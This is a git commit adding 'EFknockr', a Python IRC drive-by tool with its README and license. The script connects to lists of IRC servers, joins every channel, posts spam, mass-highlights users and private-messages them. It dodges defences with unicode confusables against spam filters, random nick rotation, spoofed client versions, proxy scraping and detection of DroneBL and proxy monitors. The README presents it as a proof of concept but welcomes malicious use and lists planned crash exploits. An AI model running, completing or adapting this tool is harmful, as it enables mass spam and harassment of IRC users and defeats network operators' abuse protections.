commit 108343167cdb7b89d71c8d33cc450292f0938409 Author: acidvegas Date: Sun Jul 9 21:58:52 2023 -0400 Initial commit diff --git a/.screens/driveby.png b/.screens/driveby.png new file mode 100644 index 0000000..43512a2 Binary files /dev/null and b/.screens/driveby.png differ diff --git a/.screens/gun.png b/.screens/gun.png new file mode 100644 index 0000000..0d7c1ef Binary files /dev/null and b/.screens/gun.png differ diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..4c8b212 --- /dev/null +++ b/LICENSE @@ -0,0 +1,15 @@ +ISC License + +Copyright (c) 2021, acidvegas + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted, provided that the above +copyright notice and this permission notice appear in all copies. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES +WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR +ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF +OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..5f62d24 --- /dev/null +++ b/README.md @@ -0,0 +1,53 @@ +# EFknockr + +## WARNING: This is simply a PROOF-OF-CONCEPT that outlines major flaws in how we use IRC currently! + +![](.screens/gun.png) + +## WARNING: This repository was made for testing against your own server(s). I am not responsible for the public use. + +## Information +This is basically an IRC drive-by. It takes a list of IRC servers, connects to all of them & joins every channel to send a custom message. You can also have it mass highlight & mass private message the channels for more attention to your message. It will do various things to make sure it does not get banned, throttled, or detected. + +Proxy scanning is included as an option, which will find thousands of new proxies on every loop. Combine that with the daemon mode *(24/7 knocking)* & this becomes un-stoppable. Tied with a residential proxy service & this becomes a problem. + +The humor behind this script is that anyone can mass portscan **0.0.0.0/0** *(the entire IPv4 range)* for port **6667** & essentially send a message to every IRC server on the internet. **But I have heard a rumor that doing so will only affect channels that are boring, lame, & shitty :) :) :)** + +I am not going to get into how to set this up or use it. This is simply here to serve as a proof-of-concept. + +## Previews +Here are some examples of people using EFknockr: + +![](.screens/driveby.png) + +## Disclaimer +The proof-of-concept here is a classic example of the on going problem wtih using standard ports for known services on IPv4. + +Both SSH & Telnet world-wide get thousands of login attempts daily because of this. IRC is no different & is certainly not excluded from this problem. + +**Welcome to the fucking state of the Internet boyz** + +I am well aware that people might use this script for malicious purposes....as they should. We cannot just be oblivious to major problems with networked services. IRC is a very small space in modern day. Becasue of that, it seems like setting up an IRCd is all people cared to learn...skipping over what it means to be a network operator. + +**It is no different than being a sysadmin** + +I have dealt with IRC flooding for years. Most times, I rarely have to tocuh the keyboard to handle it. Everything is laid out in the IRCd documentation. Big shout outs to [UnrealIRCd](https://www.unrealircd.org/) for being the BEST FUCKING IRC DAEMON EVER! + +Anyways...at the end of the day...it is text on a screen. It is just **text** on a **screen**. Quite often lost in the backlog after a short period... + +###### Todo +* Invite support +* Parse `MAXTARGETS` & `MAXCHANNELS` from **005** responses for fine tuned spamming +* UTF-16 Bot crashing for improper unicode decoding +* Weechat DCC buffer-overlfow exploit *(See [here](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8073))* +* OpenSSL crash exploit *(See [here](https://forums.unrealircd.org/viewtopic.php?f=1&t=9085))* +* `/LIST` tarpit detection & evasion +* Scramble the order of operations to be entirely random to thwart fingerprinting +* Drop unicode for normal letters to thwart spamfilters +* Add unifuck option +* Do not knock on channels we registered + +___ + +###### Mirrors +[acid.vegas](https://git.acid.vegas/efknockr) • [GitHub](https://github.com/acidvegas/efknockr) • [GitLab](https://gitlab.com/acidvegas/efknockr) • [SourceHut](https://git.sr.ht/~acidvegas/efknockr) • [SuperNETs](https://git.supernets.org/acidvegas/efknockr) diff --git a/efknockr.py b/efknockr.py new file mode 100644 index 0000000..65a2544 --- /dev/null +++ b/efknockr.py @@ -0,0 +1,583 @@ +#!/usr/bin/env python +# efknockr (internet relay chat beacon) - developed by acidvegas in python (https://git.acid.vegas/efknockr) + +import asyncio +import ipaddress +import os +import random +import re +import ssl +import sys +import time +import urllib.request + +class settings: + chan_first = False # Finish knocking channels before sending private messages + confuse = True # Use unicode confusables in messages to avoid spamfilters + daemon = False # Run in daemon mode (24/7 throttled knocking) + errors = True # Show errors in console + errors_conn = False # Show connection errors in console + exploits = False # Use a exploit payloads + mass_hl = True # Hilite all the users in a channel before parting + part_msg = 'Smell ya l8r' # Send a custom part message when leaving channels + proxies = False # Connect with proxies + proxies_only = False # Only connect with proxies + register = True # Register with NickServ before joining channels + register_chan = '#EFKnockr' # Set to None to disable channel registrations + register_chan_topic = 'EFK' # Topic to set for the registered channel + +class throttle: + channels = 3 if not settings.daemon else 2 # Maximum number of channels to knock at once + connect = 15 if not settings.daemon else 60 # Delay between each connection attempt on a diffferent port + delay = 300 if not settings.daemon else 600 # Delay before registering nick (if enabled) & sending /LIST + jdelay = 3 if not settings.daemon else 10 # Delay before messaging a channel + join = 10 if not settings.daemon else 30 # Delay between channel JOINs + message = 1.5 if not settings.daemon else 3 # Delay between each message sent + nick = 300 if not settings.daemon else 600 # Delay between every random NICK change + nicks = 5 if not settings.daemon else 15 # Delay between each nick private messaged + private = 5 if not settings.daemon else 15 # Delay between private messages + pthreads = 500 if not settings.daemon else 300 # Maximum number of threads for proxy checking + ptimeout = 15 if not settings.daemon else 30 # Timeout for all sockets + seconds = 300 if not settings.daemon else 600 # Maximum seconds to wait when throttled for JOIN or PM + users = 10 if not settings.daemon else 5 # Minimum number of users in a channel to knock + threads = 500 if not settings.daemon else 50 # Maximum number of threads running + timeout = 30 if not settings.daemon else 60 # Timeout for all sockets + ztimeout = 200 if not settings.daemon else 300 # Timeout for zero data from server ;) ;) ;) + +messages = ( + 'This message has been brought to you by EFknockr!', + 'WHAT IS UP PORT 6667!?', + ['multi','lined','message','example'], + ['cant',' stop',' me','cause',' im a',' pumper'], + 'b i g a c i d v e g a s h a s u' +) + +class bad: + donotscan = ( + 'irc.dronebl.org', 'irc.alphachat.net', + '5.9.164.48', '45.32.74.177', '104.238.146.46', '149.248.55.130', + '2001:19f0:6001:1dc::1', '2001:19f0:b001:ce3::1', '2a01:4f8:160:2501:48:164:9:5', '2001:19f0:6401:17c::1' + ) + chan = { + '403' : 'ERR_NOSUCHCHANNEL', '405' : 'ERR_TOOMANYCHANNELS', + '435' : 'ERR_BANONCHAN', '442' : 'ERR_NOTONCHANNEL', + '448' : 'ERR_FORBIDDENCHANNEL', '470' : 'ERR_LINKCHANNEL', + '471' : 'ERR_CHANNELISFULL', '473' : 'ERR_INVITEONLYCHAN', + '474' : 'ERR_BANNEDFROMCHAN', '475' : 'ERR_BADCHANNELKEY', + '476' : 'ERR_BADCHANMASK', '477' : 'ERR_NEEDREGGEDNICK', + '479' : 'ERR_BADCHANNAME', '480' : 'ERR_THROTTLE', + '485' : 'ERR_CHANBANREASON', '488' : 'ERR_NOSSL', + '489' : 'ERR_SECUREONLYCHAN', '519' : 'ERR_TOOMANYUSERS', + '520' : 'ERR_OPERONLY', '926' : 'ERR_BADCHANNEL' + } + error = { + 'install identd' : 'Identd required', + 'trying to reconnect too fast' : 'Throttled', + 'trying to (re)connect too fast' : 'Throttled', + 'reconnecting too fast' : 'Throttled', + 'access denied' : 'Access denied', + 'not authorized to' : 'Not authorized', + 'not authorised to' : 'Not authorized', + 'password mismatch' : 'Password mismatch', + 'dronebl' : 'DroneBL', + 'dnsbl' : 'DNSBL', + 'g:lined' : 'G:Lined', + 'z:lined' : 'Z:Lined', + 'timeout' : 'Timeout', + 'closing link' : 'Banned', + 'banned' : 'Banned', + 'client exited' : 'QUIT', + 'quit' : 'QUIT' + } + +# Globals +all_proxies = list() +good_proxies = list() + +def confuse(data): + if settings.confuse: + chars = '' + for char in data: + if random.choice((True,False,False)): + if char == ' ': + chars += '\u00A0' + elif char.lower() in ('abcdefghijklmnopqrstvwyz'): + chars += char + random.choice(('\u200B','\u2060','\x0f','\x03\x0f')) + else: + chars += char + else: + chars += char + return ''.join(chars) + else: + return data + +def debug(data): + print('{0} \033[1;30m|\033[0m [\033[35m~\033[0m] {1}'.format(time.strftime('%I:%M:%S'), data)) + +def error(data, reason=None): + if settings.errors: + print('{0} \033[1;30m|\033[0m [\033[31m!\033[0m] {1} \033[1;30m({2})\033[0m'.format(time.strftime('%I:%M:%S'), data, str(reason))) if reason else print('{0} \033[1;30m|\033[0m [\033[31m!\033[0m] {1}'.format(time.strftime('%I:%M:%S'), data)) + +def get_proxies(): + urls = ( + 'https://find-your-own-proxies.com/socks5.txt', + 'https://find-your-own-proxies.com/socks5.txt', + 'https://find-your-own-proxies.com/socks5.txt' + ) + proxies = list() + for url in urls: + try: + req = urllib.request.Request(url) + req.add_header('User-Agent', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') + source = urllib.request.urlopen(req, timeout=10).read().decode() + proxies+= list(set([proxy for proxy in re.findall('[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+', source, re.MULTILINE) if proxy not in proxies])) + except Exception as ex: + error('failed to grab new proxies!', ex) + return proxies if proxies else False + +async def check_proxy(semaphore, proxy): + async with semaphore: + ip, port = proxy.split(':') + options = { + 'proxy' : aiosocks.Socks5Addr(proxy.split(':')[0], int(proxy.split(':')[1])), + 'proxy_auth' : None, + 'dst' : ('www.google.com',80), + 'limit' : 1024, + 'ssl' : None, + 'family' : 2 + } + try: + await asyncio.wait_for(aiosocks.open_connection(**options), throttle.ptimeout) + except: + pass + else: + debug('\033[1;32mGOOD\033[0m \033[1;30m|\033[0m ' + proxy) + if ip not in all_proxies: + all_proxies.append(ip) + good_proxies.append(proxy) + +def rndnick(): + prefix = random.choice(['st','sn','cr','pl','pr','fr','fl','qu','br','gr','sh','sk','tr','kl','wr','bl']+list('bcdfgklmnprstvwz')) + midfix = random.choice(('aeiou'))+random.choice(('aeiou'))+random.choice(('bcdfgklmnprstvwz')) + suffix = random.choice(['ed','est','er','le','ly','y','ies','iest','ian','ion','est','ing','led','inger']+list('abcdfgklmnprstvwz')) + return prefix+midfix+suffix + +def ssl_ctx(): + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + return ctx + +class probe: + def __init__(self, semaphore, server, proxy=None): + self.semaphore = semaphore + self.server = server + self.proxy = proxy + self.display = server.ljust(18)+' \033[1;30m|\033[0m unknown network \033[1;30m|\033[0m ' + self.nickname = rndnick() + self.channels = {'all':list(), 'current':list(), 'users':dict(), 'bad':list()} + self.nicks = {'all':list(), 'chan':dict(), 'check':list(), 'bad':list()} + self.loops = {'init':None, 'chan':None, 'nick':None, 'pm':None} + self.jthrottle = throttle.join + self.nthrottle = throttle.private + self.reader = None + self.write = None + + async def sendmsg(self, target, msg): + await self.raw(f'PRIVMSG {target} :{msg}') + + async def run(self): + async with self.semaphore: + try: + await self.connect() # 6697 + except Exception as ex: + if settings.errors_conn: + error(self.display + '\033[1;31mdisconnected\033[0m - failed to connect using SSL/TLS!', ex) + await asyncio.sleep(throttle.connect) + try: + await self.connect(True) # 6667 + except Exception as ex: + if settings.errors_conn: + error(self.display + '\033[1;31mdisconnected\033[0m - failed to connect!', ex) + + async def raw(self, data): + self.writer.write(data[:510].encode('utf-8') + b'\r\n') + await self.writer.drain() + + async def connect(self, fallback=False): + if self.proxy: + options = { + 'proxy' : aiosocks.Socks5Addr(self.proxy.split(':')[0], int(self.proxy.split(':')[1])), + 'proxy_auth' : None, + 'dst' : (self.server,6667) if fallback else (self.server,6697), + 'limit' : 1024, + 'ssl' : None if fallback else ssl_ctx(), + 'family' : 2 + } + self.reader, self.writer = await asyncio.wait_for(aiosocks.open_connection(**options), throttle.timeout) + else: + options = { + 'host' : self.server, + 'port' : 6667 if fallback else 6697, + 'limit' : 1024, + 'ssl' : None if fallback else ssl_ctx(), + 'family' : 2 + } + self.reader, self.writer = await asyncio.wait_for(asyncio.open_connection(**options), throttle.timeout) + del options + await self.raw('USER {0} 0 * :{1}'.format(rndnick(), rndnick())) + await self.raw('NICK ' + self.nickname) + await self.listen() + for item in self.loops: + if self.loops[item]: + self.loops[item].cancel() + debug(self.display + 'finished knocking') + + async def loop_initial(self): + try: + await asyncio.sleep(throttle.delay) + mail = rndnick() + '@' + random.choice(('gmail.com','hotmail.com','yahoo.com','outlook.com','protonmail.com','mail.com',rndnick()+random.choice(('com','org','net')))) + cmds = [f'PRIVMSG NickServ :REGISTER {rndnick()} {mail}', 'LIST'] + for command in cmds: + try: + await self.raw(command) + except: + break + else: + await asyncio.sleep(3) + if not self.channels['all']: + error(self.display + '\033[31merror\033[0m - no channels found') + await self.raw('QUIT') + except asyncio.CancelledError: + pass + except Exception as ex: + error(self.display + '\033[31merror\033[0m - loop_initial', ex) + + async def loop_channels(self): + try: + while self.channels['all']: + while len(self.channels['current']) >= throttle.channels: + await asyncio.sleep(1) + await asyncio.sleep(self.jthrottle) + chan = random.choice(self.channels['all']) + self.channels['all'].remove(chan) + try: + await self.raw('JOIN ' + chan) + except: + break + if settings.chan_first: + self.loops['pm'] = asyncio.create_task(self.loop_private()) + while self.nicks['check']: + await asyncio.sleep(1) + self.loops['nick'].cancel() + self.loops['pm'].cancel() + await self.raw('QUIT') + except asyncio.CancelledError: + pass + except Exception as ex: + error(self.display + '\033[31merror\033[0m - loop_channels', ex) + + async def loop_nick(self): + try: + while True: + await asyncio.sleep(throttle.nick) + self.nickname = rndnick() + await self.raw('NICK ' + self.nickname) + except asyncio.CancelledError: + pass + except Exception as ex: + error(self.display + '\033[31merror\033[0m - loop_nick', ex) + + async def loop_private(self): + try: + while True: + if self.nicks['check']: + nick = random.choice(self.nicks['check']) + self.nicks['check'].remove(nick) + try: + msg = random.choice(messages) + if type(msg) == list: + for i in msg: + if nick in self.nicks['bad']: + self.nicks['bad'].remove(nick) + break + else: + await self.sendmsg(nick, confuse(i)) + await asyncio.sleep(throttle.message) + else: + await self.sendmsg(nick, confuse(msg)) + except: + break + else: + del nick + await asyncio.sleep(throttle.nicks) + else: + await asyncio.sleep(1) + except asyncio.CancelledError: + pass + except Exception as ex: + error(self.display + '\033[31merror\033[0m - loop_private', ex) + + async def listen(self): + while True: + try: + if self.reader.at_eof(): + break + data = await asyncio.wait_for(self.reader.readuntil(b'\r\n'), throttle.ztimeout) + line = data.decode('utf-8').strip() + args = line.split() + event = args[1].upper() + if event in bad.chan and len(args) >= 4: + chan = args[3] + if chan in self.channels['users']: + del self.channels['users'][chan] + if chan in self.nicks['chan']: + del self.nicks['chan'][chan] + error(f'{self.display}\033[31merror\033[0m - {chan}', bad.chan[event]) + elif line.startswith('ERROR :'): + check = [check for check in bad.error if check in line.lower()] + if check: + raise Exception(bad.error[check[0]]) + elif args[0] == 'PING': + await self.raw('PONG ' + args[1][1:]) + elif event == '001': #RPL_WELCOME + host = args[0][1:] + if len(host) > 25: + self.display = f'{self.server.ljust(18)} \033[1;30m|\033[0m {host[:22]}... \033[1;30m|\033[0m ' + else: + self.display = f'{self.server.ljust(18)} \033[1;30m|\033[0m {host.ljust(25)} \033[1;30m|\033[0m ' + debug(self.display + f'\033[1;32mconnected\033[0m') + self.loops['init'] = asyncio.create_task(self.loop_initial()) + elif event == '315' and len(args) >= 3: #RPL_ENDOFWHO + chan = args[3] + await asyncio.sleep(throttle.jdelay) + msg = random.choice(messages) + if type(msg) == list: + for i in msg: + if chan in self.channels['bad']: + self.channels['bad'].remove(chan) + break + else: + await self.sendmsg(chan, confuse(i)) + await asyncio.sleep(throttle.message) + else: + await self.sendmsg(chan, confuse(msg)) + if settings.exploits: + pass # TODO: add exploits + if settings.mass_hl: + self.nicks['chan'][chan] = ' '.join(self.nicks['chan'][chan]) + if len(self.nicks['chan'][chan]) <= 400: + await self.sendmsg(chan, self.nicks['chan'][chan]) + else: + while len(self.nicks['chan'][chan]) > 400: + if chan in self.channels['bad']: + self.channels['bad'].remove(chan) + break + else: + segment = self.nicks['chan'][chan][:400] + segment = segment[:-len(segment.split()[len(segment.split())-1])] + await self.sendmsg(chan, segment) + self.nicks['chan'][chan] = self.nicks['chan'][chan][len(segment):] + await asyncio.sleep(throttle.message) + await self.raw(f'PART {chan} :{settings.part_msg}') + self.channels['current'].remove(chan) + del self.nicks['chan'][chan] + if chan in self.channels['bad']: + self.channels['bad'].remove(chan) + elif event == '322' and len(args) >= 4: # RPL_LIST + chan = args[3] + users = args[4] + if len(self.channels['all']) >= 20000: + error(self.display + 'LIST tarpit detected!') # Make it wuddup + error(self.display + 'LIST tarpit detected!') # stand out pi55 + error(self.display + 'LIST tarpit detected!') # more n3t + self.snapshot['TARPIT'] = True + await self.raw('QUIT') + if users != '0': # no need to JOIN empty channels... + if chan not in ('#dronebl','#help','#opers'): # lets avoid the channels that are going to get use banned/blacklisted + self.channels['all'].append(chan) + self.channels['users'][chan] = users + elif event == '323': # RPL_LISTEND + if self.channels['all']: + debug(self.display + '\033[36mLIST\033[0m found \033[93m{0}\033[0m channel(s)'.format(str(len(self.channels['all'])))) + self.loops['chan'] = asyncio.create_task(self.loop_channels()) + self.loops['nick'] = asyncio.create_task(self.loop_nick()) + if not settings.chan_first: + self.loops['pm'] = asyncio.create_task(self.loop_private()) + elif event == '352' and len(args) >= 8: # RPL_WHORPL + chan = args[3] + nick = args[7] + self.nicks['chan'][chan].append(nick) + if nick not in self.nicks['all']+[self.nickname,]: + self.nicks['all'].append(nick) + self.nicks['check'].append(nick) + elif event == '366' and len(args) >= 4: # RPL_ENDOFNAMES + chan = args[3] + self.nicks['chan'][chan] = list() + self.channels['current'].append(chan) + if chan in self.channels['users']: + debug('{0}\033[32mJOIN\033[0m {1} \033[1;30m(found \033[93m{2}\033[0m users)\033[0m'.format(self.display, chan, self.channels['users'][chan])) + del self.channels['users'][chan] + await self.raw('WHO ' + chan) + elif event == '404' and len(args) >= 5: # ERR_CANNOTSENDTOCHAN + chan = args[3] + msg = ' '.join(args[4:])[1:] + error(self.display + '\033[31merror\033[0m - failed to knock ' + chan, msg) + if chan not in self.channels['bad']: + self.channels['bad'].append(chan) + elif event == '421' and len(args) >= 3: # ERR_UNKNOWNCOMMAND + msg = ' '.join(args[2:]) + if 'You must be connected for' in msg: + error(self.display + '\033[31merror\033[0m - delay found', msg) + elif event == '433': # ERR_NICKINUSE + self.nickname = rndnick() + await self.raw('NICK ' + self.nickname) + elif event == '439' and len(args) >= 11: # ERR_TARGETTOOFAST + target = args[3] + msg = ' '.join(args[4:])[1:] + seconds = args[10] + if target[:1] in ('#','&'): + self.channels['all'].append(target) + if seconds.isdigit(): + self.jthrottle = throttle.seconds if int(seconds) > throttle.seconds else int(seconds) + else: + self.nicks['check'].append(target) + if seconds.isdigit(): + self.nthrottle = throttle.seconds if int(seconds) > throttle.seconds else int(seconds) + error(self.display + '\033[31merror\033[0m - delay found for ' + target, msg) + elif event == '465': # ERR_YOUREBANNEDCREEP + check = [check for check in bad.error if check in line.lower()] + if check: + raise Exception(bad.error[check[0]]) + elif event == '464': # ERR_PASSWDMISMATCH + raise Exception('Network has a password') + elif event == '487': # ERR_MSGSERVICES + if '"/msg NickServ" is no longer supported' in line: # TODO: need to do this for ChanServ aswell + await self.raw('/NickServ REGISTER {0} {1}'.format(rndnick(), f'{rndnick()}@{rndnick()}.com')) + elif args[1] in ('716','717'): # RPL_TARGUMODEG / RPL_TARGNOTIFY + nick = args[2] #TODO: verify this is the correct arguement + if nick not in self.nicks['bad']: + self.nicks['bad'].append(nick) + elif event == 'KICK' and len(args) >= 4: + chan = args[2] + kicked = args[3] + if kicked == self.nickname: + if chan in self.channels['current']: + self.channels['current'].remove(chan) + elif event == 'KILL': + nick = args[2] + if nick == self.nickname: + raise Exception('KILL') + elif event == 'MODE' and len(args) == 4: + nick = args[2] + if nick == self.nickname: + mode = args[3][1:] + if mode == '+r': + chan = settings.register_chan + '_' + str(random.randint(10,99)) + await self.raw('JOIN ' + chan) + await self.raw(f'TOPIC {chan} :' + settings.register_chan_topic) + await self.sendmsg('ChanServ', 'REGISTER ' + chan) + await self.sendmsg('ChanServ', f'SET {chan} KEEPTOPIC ON') + await self.sendmsg('ChanServ', f'SET {chan} NOEXPIRE ON') + await self.sendmsg('ChanServ', f'SET {chan} PERSIST ON') + await self.sendmsg('ChanServ', f'SET {chan} DESCRIPTION ' + settings.register_chan_topic) + await self.raw('PART ' + chan) + elif event in ('NOTICE','PRIVMSG') and len(args) >= 4: + nick = args[0].split('!')[1:] + target = args[2] + msg = ' '.join(args[3:])[1:] + if target == self.nickname: + for i in ('proxy','proxys','proxies'): + if i in msg.lower(): + check = [x for x in ('bopm','hopm') if x in line] + if check: + error(f'{self.display}\033[93m{check.upper()} detected\033[0m') + else: + error(self.display + '\033[93mProxy Monitor detected\033[0m') + for i in ('You must have been using this nick for','You must be connected for','not connected long enough','Please wait', 'You cannot list within the first'): + if i in msg: + error(self.display + '\033[31merror\033[0m - delay found', msg) + break + if msg[:8] == '\001VERSION': + version = random.choice(('http://www.mibbit.com ajax IRC Client','mIRC v6.35 Khaled Mardam-Bey','xchat 0.24.1 Linux 2.6.27-8-eeepc i686','rZNC Version 1.0 [02/01/11] - Built from ZNC','thelounge v3.0.0 -- https://thelounge.chat/')) + await self.raw(f'NOTICE {nick} \001VERSION {version}\001') + elif '!' not in args[0]: + if 'dronebl.org/lookup' in msg: + error(self.display + '\033[93mDroneBL detected\033[0m') + raise Exception('DroneBL') + else: + if [i for i in ('You\'re banned','You are permanently banned','You are banned','You are not welcome','Temporary K-line') if i in msg]: + raise Exception('K-Lined') + except (UnicodeDecodeError, UnicodeEncodeError): + pass + except Exception as ex: + error(self.display + '\033[1;31mdisconnected\033[0m', ex) + break + +async def main_b(targets): + sema = asyncio.BoundedSemaphore(throttle.pthreads) # B O U N D E D S E M A P H O R E G A N G + jobs = list() + for target in targets: + jobs.append(asyncio.ensure_future(check_proxy(sema, target))) + await asyncio.gather(*jobs) + +async def main_a(targets): + sema = asyncio.BoundedSemaphore(throttle.threads) # B O U N D E D S E M A P H O R E G A N G + jobs = list() + if settings.proxies: + proxies = None + del all_proxies[:len(all_proxies)] + del good_proxies[:len(good_proxies)] + while not good_proxies: + debug('scanning for fresh Socks5 proxies...') + proxies = get_proxies() + if proxies: + debug(f'testing {len(proxies):,} proxies...') + await main_b(proxies) + if not good_proxies: + await asyncio.sleep(300) + else: + await asyncio.sleep(300) + debug(f'found {len(good_proxies):,} proxies') + for target in targets: + try: + ipaddress.IPv4Address(target) + except: + error('invalid ip address', target) + else: + if settings.proxies: + for proxy in good_proxies: + jobs.append(asyncio.ensure_future(probe(sema, target, proxy).run())) + if not settings.proxies_only: + jobs.append(asyncio.ensure_future(probe(sema, target).run())) + random.shuffle(jobs) + await asyncio.gather(*jobs) + +# Main +print('#'*56) +print('#{:^54}#'.format('')) +print('#{:^54}#'.format('EFknockr (internet relay chat beacon)')) +print('#{:^54}#'.format('Developed by acidvegas in Python')) +print('#{:^54}#'.format('https://git.acid.vegas/efknockr')) +print('#{:^54}#'.format('')) +print('#'*56) +if True: + raise SystemExit('those who are not skids may figure out how to use this...') # ;) by removing this you agree to only test this on your own server(s) LOLOLOOL +if settings.proxies: + try: + import aiosocks + except ImportError: + raise SystemExit('missing required library \'aiosocks\' (https://pypi.org/project/aiosocks/)') +if len(sys.argv) != 2: + raise SystemExit('error: invalid arguments') +targets_file = sys.argv[1] +if not os.path.isfile(targets_file): + raise SystemExit('error: invalid file path') +targets = [line.rstrip() for line in open(targets_file).readlines() if line and line not in bad.donotscan] +del targets_file +debug(f'loaded {len(targets):,} targets') +while True: + asyncio.run(main_a(targets)) + debug('EFknockr has finished knocking!!') + if not settings.daemon: + break